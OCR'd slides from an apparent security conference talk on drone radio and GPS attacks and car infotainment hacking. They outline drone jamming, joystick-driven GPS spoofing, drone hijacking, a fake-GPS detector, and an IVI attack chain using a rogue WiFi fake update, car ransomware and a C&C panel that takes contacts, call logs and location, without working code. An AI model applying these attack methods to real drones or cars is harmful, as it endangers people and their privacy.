pRP-Originator Address - (886936800160)
PRP-Destination Address
PRP-User Data
wGSM SMS TPDU (GSM ©3.48) SMS-DELIVER
B... ... = TP-RP: TP Reply Path parameter is not set in this SMS SUBMIT/DELIVER
.0.. .... = TP-UDHI: The TP UD field contains only the short message
..8. .... = TP-SRI: A status report shall not be returned to the SME
.. .1, = TP-MMS: No more messages are waiting for the MS in this SC
...... 80 = TP-MTI: SMS-DELIVER (@)
»TP-Originating-Address - (886936019228)
»TP-PID: 0
»TP-DCS: 8
»TP-Service-Centre-Time-Stamp
TP-User-Data-Length: (136) depends on Data-Coding-Scheme
v TP-User-Data

[SMS text: STEABNHERM—T-BFSIHNIAFEMURS 1994 AFEHHTENG—TF , SNENENEERTEEN- BT T

0020 E 8f a3 76 84 62 11 89 81
LG5 3¢ 7e 31 42 00 4e 8b 00 7e 56 €0 4f 60 67 09
(L MBT dl 90 fd 4e 6d 74 06 4e ba 5b b6 9@ 84 4e od
RIS T eb 64 a5 80 35 60 35 08 31 80 39 08 39 60 34
0060 [EMeEmC de D D 49 84 9 7d 59

Frame (81bytes) Reassembled LAPDm (170 bytes)

QM ThetextoftheSMS (gsm sms.s...  Packets: B5280- Displayed: 1(0.0%) - Load time: 0:02.471 Profile: Default



Putting some image on spectrum

1,575.420 000 hviz] ==

Wil spectrum_painter

A g




Let’s analysis the Drone radio

e How to find the frequency?
— FCCID
— Inspect by SDR

57 DJI TECHNOLOGY CO,, LTD

Full Company Details: SZ DJI TECHNOLOGY CO., LTD - 553

Company Code: S53

Address:
SZ DJI TECHNOLOGY CO., LTD
14th floor, West Wing, Skyworth Semiconductor Design Building NO.18 Gaoxin South 4th Ave,
Manshan, Shenzhen, Guangdong, N/A 518057

China
Subscribe To Applications By SZ DJI TECHNQLOGY CO., LTD:
you@youremail.com Subscribe
App # Purpose Date Unigue ID
1 Original Equipment 2015-04-17 +sxlISJEDt2+55yk1 2tpGQ==

Approved Operating Frequencies

Line Entry Frequency Range Power Output Rule Parts Grant Notes

1 2406.50000000-2476.50000000 0.7290000 15C MO




Radio Signal Analysis

P3A use two modulation/demodulation

to transfer data with 2.4GHz ISM band



RC to Drone radio spectrum (FHSS)

* Control drone direction (up down left right)

* Frequency 2.400~2.483GHz, each channel about 1MHz

40.000 00 0 mHz| mmm——m-r




DSSS - Drone to RC radio spectrum

* For drone to remote controller image transmission

* Frequency 2.4015~2.4815 GHz

* gsplit into 6 channels, each channel is about 10MHz

- =
AB0.267 SO0 wiiz| cemetat=—|

PPN WWWWMWMWWWWWMMW AT
APTRRNIE R .Ww L

I WSS




Finally we found...

e Images have no checksum mechanism, so we can
jamming the radio frequency to show wrong image to
controller





file:///C:/Users/User/Desktop/Conference/Demo_Video/Demo4_jamming_FPV_system.avi

Next section:

GPS Modules



Which function is associate with GPS?

e No-fly zone
e Return to home
e Follow me

e Waypoint




How to spoof the GPS location?

e Use the SDR

e There have a good open-source GPS simulator in GitHub,
called gps-sdr-sim, but it have some limitation, before you
want fake a location, should wait for few minutes to generate

the 1/Q data

e So we improve the code, let it can in real-time generate GPS
signhal and can be controlled with the joystick.



Live Demo
(open your mobile maps)
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Control GPS by Joystick
DEMO



file:///C:/Users/User/Desktop/Conference/Demo_Video/Demo6_control_gps_location_by_joystick.MOV

How to Increase the radio range?

e Buy some active directional antenna

Active directional antenna from 400MHz - 6GHz HyperLOG 4060 X

v ded in delivery

Ll O

HyperLOG 4060 X active directional EMC
measurement antenna

Low Noise Preamplifier with integrated LiPo
battery (3,5h run time)

International battery charger and power
supply

Calibration data on EEprom (readout
via USB)

Typical calibration data with 561 calibration
points (10MHz steps!) on CD

Large aluminum carrying case with foam
protection

Pistol grip with mini tripod function

Aaronia SMA tool set with over-torque
protection

» Application examples
» Options
» Accessories

* Downloads

(400MHz - 6GHz)

1Hz 10Hz

' 100Hz

4 previous Praduct

1kHz

10kHz

100kHz | 1MHz

10MHz

€ 1,049.95%

100MHz | 1GHz 10GHz || 100GHz |

408HHz-61]ES

Next Draduct b

Technical data =

+ Compatible with any Spectrum
Analyzer brand

« Design: ACTIVE directional
Logarithmic-periodic

« Frequency range: 400MHz to
6GHz

+ Nominal impedance: 50 Ohm

* VSWR: <1:2 (typ.)

« Gain: 45dBi (typ.)

+ Antenna factor: See data sheet
graph

* RF connection: SMA (f) or N (see
optional adapter)

« Tripod connection: 1/4"

« Interface: USB 2.0/1.1

« Calibration points: 561 (10MHz-
steps)

+ Dimensions (L/W/D):
590x360x30 mm

+ Weight: 1400gr

» Warranty: 10 years

Highlights:

« Ultra high gain for detecting
even lowest RF sources

« Integrated Low Noise Preamplifier

incl. LiPo battery

Runs with battery or external power

supply (included)

« Integrated calibration data on
EEprom (readout via USB)
Additional standard calibration data
(on CD)

» Special designed radome for perfect



Hijacking Drone by Joystick
DEMO



file:///C:/Users/User/Desktop/Conference/Demo_Video/Demo7_hijacking_by_joystick.avi

How to detect the fake GPS signal?

e You need a GPS module to debug GPS signals.
— U-blox M8N

(@ COM14 - u-center 8.21 - [Messages - UBX - RXM (Rece
[@) Fle Edit View

W&~ & &l

Player Receiver Tools Window Help

BOEE~E-&E-m-

UBX-PiXM (Receiver Manager) - MEASX (Measurement Data) 0s

EAEY PIRMS [m] MP | WjF Chips | Codeph... | Dopp
04 G12 24 70-75(31) mediu. 370/195 0361868 E|
08 G13 26 B5-BO(28)  low(l) 455 /326 0445082
05 G5 25 BO0-90(33%)  low(l) 341 /755 0334054 -1
09 G17 17 26.0-280( Tow (13 542 /936 0530709
06 G19 19 26.0-28.0( Tow (1) 579720 0566002
03 G30 17 440-480¢( Tow (1) 899 / 660 0879418 &l
00 RO2 23 260-280( low (1) 503/23 0984390 -4
01 RO3 21 26.0-280( low (1) 3231808 0633640 -

(

(

07 R22 10 22.0-240 high (3 114115 0021747
02 R23 14 440-480 mediu 2384173 0 466084 ¢

R
R
T
T
!
R

IMES (IMES Status)
MEASX (Measurement Data) / ’ |
ame Da e 0 v

G TRER & B T R13IETRIE ] §#B|

i

u-blox M8/ [ COM14 0600 |No file open UBX  [00:275![21:03:2 &




U-blox M8N built in anti-spoofing feature
(Only for GNSS, not support the GPS)

Q Careers  Contactus  Partner Login - English
blox Products Support Innovation Aboutus  Investor Relations  How to buy

B e = Tl LR I L I o B e e TR E anmiiass s ay A mraan s

environments. u-blox M8 supports Galileo-based eCall, the European emergency call system, which will be required in
new vehicles starting 2018. u-blox M8 Is also compliant with ERA-GLONASS, eCall's Russian equivalent.

In addition, with FW 3.01, u-blox M8 now boosts the BeiDou acquisition sensitivity and adds support to the Indian
GAGAN augmentation system.

u-blox M8 chips and modules are able to operate reliably in difficult environmental conditions as well as in a security
attack scenano. Because a growing number of wireless systems rely on GNSS positioning, the threat of attacks, such as
diversion of drones or hijacking of car electronics, has become very real. Security mechanisms are now embedded In

FW 3.01, the result of years of intense research at u-blox R&D labs. EARERIES ol [ A IE I[N [Hi=n iR GREIN NN

signals, and a message integrity protection system prevents “man-in-the-middle” attacks. Yet another security function

detects and suppresses jJamming. Since all this functionality is already built into u-blox M8 FW 3.01, these security

mechanisms are a lot more effective than an external system implementation.



How to detect the fake GPS signal?

e Validate the time between satellite time and real time

OV <o 873 ecmger VRN AV g PV g P Sy =1 30

@ F Player Tools Window Help
= @ adpEDEE-RE-&E
o v | ROHE A ] - (]

- NAV (Mavigation)

. BOPSTATUS (AssistMow Autonomous &
. ATT itude Solution)
. CLOCK (Clock Status)

SB. Status)
- 50L (Mavigation Solution)

UBX - NAY (Navigation) - PVT iMNavigation PVYT Solution) 1s
Faram Walue L
ies T =T A21003 (1011 [
UTC Date and Time 20/ 11} 2010 20:56:26 -00030... I

ate and [Ime Lonfirmation siatus n/a
UTC Time Accuracy 57 [
Pasition Fix Type 30 Fix
Fix Flags FixOK.
PS5k state nfa
Position Latitude, Longitude, Height, MEL 504353386, 305237416, 2481, [
Position Accuracy Estimate Horizontal, .. 25.4.18.7 [

“elocity Naorth, East, Down -0.758, 0.148, -0.062 [
“elocity, Heading Accuracy Estimate 1.339, 451 [
Speed over Ground 0.773 [
Heading of Motion, Heading of Vehicle 2115, nfa [
PDOP 259
#3vs Used g
Carrier Range Status MNotused

E REEES C\Windows\s:

C: Uszers Dark*nc time—-nw.nist.gov 13

57716 16—11-24 28:45:12 BB B B 271.9 UTCC(NIST> =

L WEEEPE WAPRS

stem32\cmnd.ex




How to detect the fake GPS signal?

e Check the motion speed between point to point

— For example it is impossible to change your location from Taiwan to
Serbia in one second



Time (seconds)

How to detect the fake GPS signal?

e \Validate the GPS sub-frame data

HOW

Clock corrections and SV health/accuracy

HOW | Ephemeris parameters

TLM [HOW | Clock corrections and SV health/accuracy
TEM [HOW | Ephemeris parameters
ILM [HOW | Ephemeris parameters
TLM (HOW | Almanac, ionospheric model, dUTC
5
TLM [HOW | Almanac %@“
Y

o

~%——— Subframes

22 Hl?llﬂld

abfbbact 12fFiedl
aSfe8hf3 BBBbaelf
7 1feebeBl

? 1cedibfh

4026
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Develop the fake GPS detector
e Board: RaspberryPI

e GPS modules: u-blox

ek
- cre g g o‘r‘.:“
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L0682, 121.5527 .
o
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Detect Fake GPS Signal
DEMO



file:///C:/Users/User/Desktop/Conference/Demo_Video/Demo8_detect_fake_GPS.MOV

Catch The Bad Guys
DEMO



file:///C:/Users/User/Desktop/Conference/Demo_Video/Demo9_detect_fake_GPS_catch_bad_guys.MTS

Car Security



Car Architecture

(Reference from: http://knoppix.ru/sentinel/130312.html)



CAN-BUS Network

MOST

indow lift
s Universal light

| Ia> e
»‘\dditionaléM b

heating ,
systems B |
Drive train 4 : T“m_‘ ‘

4
i - ! A
> : 2{:
Steering wheel =
panel —
Universal motor
MOST Universal panel

CAN Controller area network

GPS  Global Positioning System

GSM  Global System for Mobile Communications
LIN  Local interconnect network

MOST Media-oriented systems transport

(Reference from: http://www.aalcar.com/library/can_systems.htm)



Remote attack vector

e Remote keyless

e || System

e Wireless - OBDII dongle ) B




Remote keyless

e SDR

— Record/Replay
— Analysis the protocol
— Proxy Tunnel

Remote keyless entry
(433/315/868 MHz)

—

mechanical part
(key blade)

I RKE antenna I \
RF
lI{KE _O Button(s) |(\_/ Y N /
uC [~ opiora - | Immo.
RFID
By la

Immobilizer
(125 kHz)

s

s



VI System

e Connected with can-bus

* Wifi Device
e Bluetooth

e Radio r

e Web browser




A real case



VI System




Risk of IVI and ECU

Widows lock
CAN-BUS

Unlock door

automatic brake systems collision warning systems




Power on the IVI without the Car

e Use 12V Scrap computer’s power supply




Overview

Product: T***h*i Create 2nd Generation

OS: Android 4.4.4
Memory: 1G

GPS: GLONASS/Galilean satellites

- supports H.265 video decode
Radio: Analogue with RDS 6686
DVD: Yes
Bluetooth: Yes




Research

e Get Root Access
e Dump Firmware

e Connected ADB

e Known Issues
— Fake GPS
— Open Bluetooth
— Crash EasyConnect via AirPlay protocol




Pin Layout of CAN

Orark @ x1RE Kevz © kevt @ FL-
®ne O O ORs @1
@PaNT @AcC G UM BREV @ Be

@ow @oan @can BRR @ RRe




Send CAN-BUS MSG by App

e Unrestricted sending CAN control signal

e Enable “Install from unknown source” by default

czetlnClickListener( Button OnClickListener ){

@verride




Attack Scenario

Free Rouge
WIFI

L—

Fake System
Update

Use DNS to
redirect
user’s

browser

L} Install

Have to
trigger by
search page

Use CnC
page to
trigger
actions

L

Send
Location /
Device Info

Remote
L} Control

CANBUS




Important System Updates

New critical updates are available to download now. Please follow
the steps below:

> Step1. Tap Download on this page
- Step 2. Tap Open once it is downloaded
> Step 3. Tap Install to start installing the program

S <’
. Step 4. Tap Open to start removing the virus

Download




Ransom your car

MINISTRY OF JUSTICE (&) CRIMINAL POLICY

JESRETRR T 7T AEH 74 2 DEZHN AR ERBADAERR
ARIEHDBEEESEF A TERIITTICRINTL
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@ E=Ra :
090-929-832
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C&C Management

e > Device Information

Hello! Admin

OS Version 3439

Android SDK Version 19
_ Device Hime ary?
Device Model QuadCore-R16

Product Name astar_y3
Manufacture tw

> GPS Information

e 1 // "N Neihur,
il ar, o
Map  Satellite g e
- S ] Lequn 12 pa
& feo.
@ Sn vat-sen Fwy
& Hsin 'J\nug +

Gahale. 4 5, = songshan |
Map data £2016 Google Terms of Usé! | ‘Repart a map eror

DRIEA I DUAYSUIY
o 1

o

Hello! Admin

@ Dashboard

Contacts & CallLogs

CAN-BUS

> FrontLight

> System Message

Contacts -

Calllogs -
—- Number:

Calllogs -

Number:
Number:

Calllogs -

Contacts

Number:

Phone BT Mac:

Phone BT Mac:

123, Status:

Phone BT Mac:

123, Status:
456, Status:

Phone BT Mac:

000, Status:

£d9414b6£1£8

23a9e2fecd00
Outgoing

0ab79e100044
Outgoing
Outgoing

002a81eb8044
Outgoing

- Phone BT Mac: 002a8leb8044

Name: MicroTrend, Number: 8860223789666
Name: YangPeter, Number: 886900123456
Name: LeeEddie, Number: 886933123456

Calllogs -

Number:
Number:
Number:
Number:
Number:

Remotely Control / Track Your Car via
CAN-BUS and GPS |

Phone BT Mac
123, Status:
0972921978,
0972921978,
0972921978,
0972921978,

: 888b5682£878
Missed

Status: Outgoing
Status: Missed
Status: Incoming
Status: Outgoing






file:///C:/Users/User/Desktop/Conference/Demo_Video/ivi_demo.mp4
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